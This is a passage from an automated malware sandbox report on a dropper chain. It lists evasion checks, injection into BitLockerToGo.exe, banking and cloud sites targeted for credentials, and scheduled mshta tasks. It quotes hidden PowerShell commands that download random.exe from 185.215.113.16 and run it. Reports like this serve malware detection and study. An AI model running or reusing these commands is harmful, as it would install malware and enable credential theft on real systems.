Source: powershell.exe, 00000006.00000002.2257822636.00000000072F4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696487552f
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: df1dfa8044.exe, 00000015.00000003.2850733379.0000000001332000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2910543373.0000000001332000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2921912644.0000000001332000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2860203945.0000000001332000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2912096147.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e65eefc791.exe, 00000017.00000003.3113202639.000000000102D000.00000004.00000020.00020000.00000000.sdmp, e65eefc791.exe, 00000017.00000003.3106866632.0000000001024000.00000004.00000020.00020000.00000000.sdmp, e65eefc791.exe, 00000017.00000003.3130385353.0000000001066000.00000004.00000020.00020000.00000000.sdmp, e65eefc791.exe, 00000017.00000003.3116371285.0000000001031000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: df1dfa8044.exe, 00000015.00000003.2875368575.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696487552p
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696487552
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696487552o
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696487552
Source: powershell.exe, 00000009.00000002.2403884477.0000020D73404000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\
Source: f9cb675f2a.exe, 00000014.00000002.2939561221.00000000075C3000.00000004.00000020.00020000.00000000.sdmp, f9cb675f2a.exe, 00000014.00000003.2899085954.0000000007561000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696487552j
Source: powershell.exe, 00000006.00000002.2257215878.0000000007250000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}M
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: powershell.exe, 00000009.00000002.2403884477.0000020D73404000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696487552s
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE, 0000000B.00000002.2310815274.0000000000DCB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000C.00000002.2344245870.0000000000F9B000.00000040.00000001.01000000.0000000F.sdmp, TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE, 0000000D.00000002.2367385943.0000000000DCB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000E.00000002.2351117983.0000000000F9B000.00000040.00000001.01000000.0000000F.sdmp, f9cb675f2a.exe, 00000014.00000002.2929139311.0000000000C13000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: df1dfa8044.exe, 00000015.00000003.2875530104.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE System information queried: ModuleInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Process queried: DebugPort
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Process queried: DebugPort
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Code function: 11_2_055F060E rdtsc 11_2_055F060E
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004AEAA2 BlockInput, 0_2_004AEAA2
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00462622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00462622
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_004342DE
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00454CE8 mov eax, dword ptr fs:[00000030h] 0_2_00454CE8
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_2_06F602F1 mov eax, dword ptr fs:[00000030h] 20_2_06F602F1
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_2_06F60356 mov eax, dword ptr fs:[00000030h] 20_2_06F60356
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_2_06F6032B mov eax, dword ptr fs:[00000030h] 20_2_06F6032B
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_2_06F60000 mov eax, dword ptr fs:[00000030h] 20_2_06F60000
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00490B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 0_2_00490B62
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00462622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00462622
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0045083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0045083F
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004509D5 SetUnhandledExceptionFilter, 0_2_004509D5
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00450C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00450C21
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell decode and execute
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1074967041\tYliuwV.ps1, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\tYliuwV[1].ps1, type: DROPPED
Yara detected Powershell download and execute
Source: Yara match File source: amsi32_6708.amsi.csv, type: OTHER
Source: Yara match File source: amsi64_3580.amsi.csv, type: OTHER
Source: Yara match File source: amsi32_5564.amsi.csv, type: OTHER
Source: Yara match File source: amsi64_1592.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: mshta.exe PID: 2732, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6708, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mshta.exe PID: 3652, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3580, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d04aa34f51.exe PID: 2744, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26D0000 protect: page execute and read and write
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26D0000 value starts with: 4D5A
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 25A9008
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26D0000
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26D1000
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26ED000
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26FA000
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26FC000
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 26FD000
Contains functionality to execute programs as a different user
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00491201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 0_2_00491201
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00472BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 0_2_00472BA5
Contains functionality to simulate keystroke presses
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049B226 SendInput,keybd_event, 0_2_0049B226
Contains functionality to simulate mouse events
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004B22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event, 0_2_004B22DA
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn 9FPCwmaAQCo /tr "mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE "C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE "C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE" Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe "C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe "C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe "C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe "C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe "C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe "C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn RupFPmaDx0C /tr "mshta C:\Users\user\AppData\Local\Temp\os46r5CTT.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE "C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE"
